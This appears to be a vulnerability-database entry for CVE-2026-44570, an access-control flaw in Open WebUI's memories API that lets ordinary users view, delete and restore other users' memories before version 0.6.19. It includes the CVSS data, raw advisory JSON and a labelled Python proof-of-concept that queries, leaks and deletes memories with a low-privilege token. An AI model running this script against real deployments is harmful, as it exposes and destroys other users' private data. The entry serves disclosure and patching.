Security Vulnerability Report
中文
CVE-2026-44570 CVSS 8.3 HIGH

CVE-2026-44570

Published: 2026-05-15 22:16:53
Last Modified: 2026-05-15 22:16:53

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.19, authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again. This vulnerability is fixed in 0.6.19.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.6.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target configuration target_url = "http://localhost:3000" attacker_token = "<LOW_PRIV_USER_TOKEN>" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Step 1: Query all memories (IDOR) print("[+] Attempting to query memories...") query_resp = requests.post(f"{target_url}/api/v1/memories/query", headers=headers) if query_resp.status_code == 200: print("[+] Successfully retrieved memories:") print(json.dumps(query_resp.json(), indent=2)) else: print("[-] Failed to query memories.") # Step 2: Leak specific memory content via update endpoint memory_id = "TARGET_MEMORY_ID_HERE" print(f"\n[+] Attempting to leak content of memory ID: {memory_id}") payload = {"content": "test"} leak_resp = requests.post(f"{target_url}/api/v1/memories/{memory_id}/update", headers=headers, json=payload) if leak_resp.status_code == 200: print("[+] Successfully leaked memory content:") print(json.dumps(leak_resp.json(), indent=2)) # Step 3: Delete memory print(f"\n[+] Attempting to delete memory ID: {memory_id}") del_resp = requests.delete(f"{target_url}/api/v1/memories/{memory_id}", headers=headers) if del_resp.status_code == 200: print("[+] Memory deleted successfully.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44570", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:53.323", "lastModified": "2026-05-15T22:16:53.323", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.19, authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again. This vulnerability is fixed in 0.6.19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw", "source": "[email protected]"}]}}